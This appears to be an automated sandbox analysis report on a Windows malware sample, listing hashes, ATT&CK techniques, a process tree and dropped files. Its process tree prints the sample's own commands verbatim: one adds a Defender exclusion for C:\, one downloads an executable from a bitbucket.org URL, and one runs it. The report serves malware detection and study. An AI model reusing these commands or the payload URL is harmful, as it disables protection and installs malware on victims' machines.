5f086e863e8c615df11356dd2f35df2d4111bf79591de64db6cb81fa6f04e958

General

Target

d0738cea958412981be86082e38d44fb32696c319df92d21942b7bf22afa0055.exe
Size

88KB
MD5

6aeb9132bba916f4056093efd21137ac
SHA1

437bfbc610896b14b7f88f0bd0bec6de4a36f4a4
SHA256

d0738cea958412981be86082e38d44fb32696c319df92d21942b7bf22afa0055
SHA512

cd79f6ee903f749f2ce62f3cdb9416fff2ca58c218a70e293c1e8fdfd7622b01d9959ba7316f33d53e2714df25d1c7142d14c989d7def2aeccf9c3f8d77ae262
SSDEEP

1536:j7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfzxjOC:/q6+ouCpk2mpcWJ0r+QNTBfzL

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
15	4352	powershell.exe
28	4352	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation	d0738cea958412981be86082e38d44fb32696c319df92d21942b7bf22afa0055.exe

Executes dropped EXE 2 IoCs

pid	Process
4064	2.exe
4552	2.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
14	bitbucket.org
15	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4064 set thread context of 4552	4064	2.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3352	powershell.exe
3352	powershell.exe
4352	powershell.exe
4352	powershell.exe
4976	powershell.exe
4976	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3352	powershell.exe
Token: SeDebugPrivilege	4352	powershell.exe
Token: SeDebugPrivilege	4976	powershell.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 4388 wrote to memory of 4856	4388	d0738cea958412981be86082e38d44fb32696c319df92d21942b7bf22afa0055.exe	86
PID 4388 wrote to memory of 4856	4388	d0738cea958412981be86082e38d44fb32696c319df92d21942b7bf22afa0055.exe	86
PID 4856 wrote to memory of 2104	4856	cmd.exe	89
PID 4856 wrote to memory of 2104	4856	cmd.exe	89
PID 4856 wrote to memory of 3352	4856	cmd.exe	90
PID 4856 wrote to memory of 3352	4856	cmd.exe	90
PID 4856 wrote to memory of 4352	4856	cmd.exe	93
PID 4856 wrote to memory of 4352	4856	cmd.exe	93
PID 4856 wrote to memory of 4976	4856	cmd.exe	96
PID 4856 wrote to memory of 4976	4856	cmd.exe	96
PID 4976 wrote to memory of 4064	4976	powershell.exe	97
PID 4976 wrote to memory of 4064	4976	powershell.exe	97
PID 4976 wrote to memory of 4064	4976	powershell.exe	97
PID 4064 wrote to memory of 4552	4064	2.exe	98
PID 4064 wrote to memory of 4552	4064	2.exe	98
PID 4064 wrote to memory of 4552	4064	2.exe	98
PID 4064 wrote to memory of 4552	4064	2.exe	98
PID 4064 wrote to memory of 4552	4064	2.exe	98
PID 4064 wrote to memory of 4552	4064	2.exe	98
PID 4064 wrote to memory of 4552	4064	2.exe	98
PID 4064 wrote to memory of 4552	4064	2.exe	98
PID 4064 wrote to memory of 4552	4064	2.exe	98
PID 4064 wrote to memory of 4552	4064	2.exe	98

C:\Users\Admin\AppData\Local\Temp\d0738cea958412981be86082e38d44fb32696c319df92d21942b7bf22afa0055.exe
"C:\Users\Admin\AppData\Local\Temp\d0738cea958412981be86082e38d44fb32696c319df92d21942b7bf22afa0055.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4388
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2F6C.tmp\2F6D.tmp\2F6E.bat C:\Users\Admin\AppData\Local\Temp\d0738cea958412981be86082e38d44fb32696c319df92d21942b7bf22afa0055.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4856
- - C:\Windows\system32\cacls.exe
    "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
    3⤵
    PID:2104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath "'C:\'"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "wget "https://bitbucket.org/fwqffsfg/fasfwqfkuipo/downloads/qwercr.exe" -outfile "C:\Users\Admin\AppData\Roaming\2.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Invoke-Expression -Command "C:\Users\Admin\AppData\Roaming\2.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4976
  - - C:\Users\Admin\AppData\Roaming\2.exe
      "C:\Users\Admin\AppData\Roaming\2.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:4064
    - - C:\Users\Admin\AppData\Roaming\2.exe
        
        "C:\Users\Admin\AppData\Roaming\2.exe"
        5⤵
        Executes dropped EXE
        
        PID:4552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e257260b10ea9343c9fdd46226191c7d

SHA1
ae0be0f0ab31806d9ddf93a51484ebdef22cd2f3

SHA256
9788fb800cd2994ced3087486fde7d63a42aa5911c062c5cb8c01c6eca20f8ec

SHA512
109ab33b93208c290c1a8db37570bffb70488ef4a5a7cc61c116ee7dbe1ec52dacc427641f000a19882d992219cc14cf360802179df4c73ea2aa83f6c358edde

Download Submit
C:\Users\Admin\AppData\Local\Temp\2F6C.tmp\2F6D.tmp\2F6E.bat

Filesize
965B

MD5
807466a799dce9079514f297e3f2f54e

SHA1
89bbbc8721dd2e5b70224310a526846aed30cd35

SHA256
c5b87feb66edbacb17c57131722e360323a24d67fdfd89beb2a71b839ba4de31

SHA512
cf9e2d3dbcc933f5dbb0abb6d945186988ec39914ceaad3dea8a18ce7916904366a8e280410b57c28e9b1870038d1b0e3fdb1eb7b6e75864443cf500841b575e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dknstnin.gb1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\2.exe

Filesize
11.6MB

MD5
74836117dfe81cc26e2dcd0aa1874ebb

SHA1
e95eb2ffd48e7df556f4751fb6197120d262dd30

SHA256
fa3b915b07fc6f2d928d398c3971f17efae1aec02e010c4f55fe264cb5d84564

SHA512
d0f406de04c29479ca9601d246eeb2bc6918f83a00b79525d56713b76c41c04c8ea760c3c464b0c04e43345386b0148c0631939a2c6a28ed81b9471b990df417

Download Submit
memory/3352-13-0x000001277DD90000-0x000001277DDA0000-memory.dmp

Filesize
64KB

Download
memory/3352-16-0x00007FF9C2B40000-0x00007FF9C3601000-memory.dmp

Filesize
10.8MB

Download
memory/3352-12-0x00007FF9C2B40000-0x00007FF9C3601000-memory.dmp

Filesize
10.8MB

Download
memory/3352-2-0x000001277D8C0000-0x000001277D8E2000-memory.dmp

Filesize
136KB

Download
memory/4064-54-0x0000000005F50000-0x0000000005F60000-memory.dmp

Filesize
64KB

Download
memory/4064-53-0x0000000006510000-0x0000000006AB4000-memory.dmp

Filesize
5.6MB

Download
memory/4064-52-0x0000000000960000-0x000000000150C000-memory.dmp

Filesize
11.7MB

Download
memory/4064-61-0x0000000073A50000-0x0000000074200000-memory.dmp

Filesize
7.7MB

Download
memory/4064-50-0x0000000073A50000-0x0000000074200000-memory.dmp

Filesize
7.7MB

Download
memory/4352-20-0x00000206B8130000-0x00000206B8140000-memory.dmp

Filesize
64KB

Download
memory/4352-33-0x00007FF9C2B40000-0x00007FF9C3601000-memory.dmp

Filesize
10.8MB

Download
memory/4352-19-0x00000206B8130000-0x00000206B8140000-memory.dmp

Filesize
64KB

Download
memory/4352-18-0x00007FF9C2B40000-0x00007FF9C3601000-memory.dmp

Filesize
10.8MB

Download
memory/4552-58-0x0000000000400000-0x0000000000448000-memory.dmp

Filesize
288KB

Download
memory/4552-60-0x0000000000400000-0x0000000000448000-memory.dmp

Filesize
288KB

Download
memory/4552-59-0x0000000000400000-0x0000000000448000-memory.dmp

Filesize
288KB

Download
memory/4552-55-0x0000000000400000-0x0000000000448000-memory.dmp

Filesize
288KB

Download
memory/4976-34-0x00007FF9C2B40000-0x00007FF9C3601000-memory.dmp

Filesize
10.8MB

Download
memory/4976-51-0x00007FF9C2B40000-0x00007FF9C3601000-memory.dmp

Filesize
10.8MB

Download
memory/4976-35-0x000001F46C6E0000-0x000001F46C6F0000-memory.dmp

Filesize
64KB

Download
memory/4976-36-0x000001F46C6E0000-0x000001F46C6F0000-memory.dmp

Filesize
64KB

Download

Analysis

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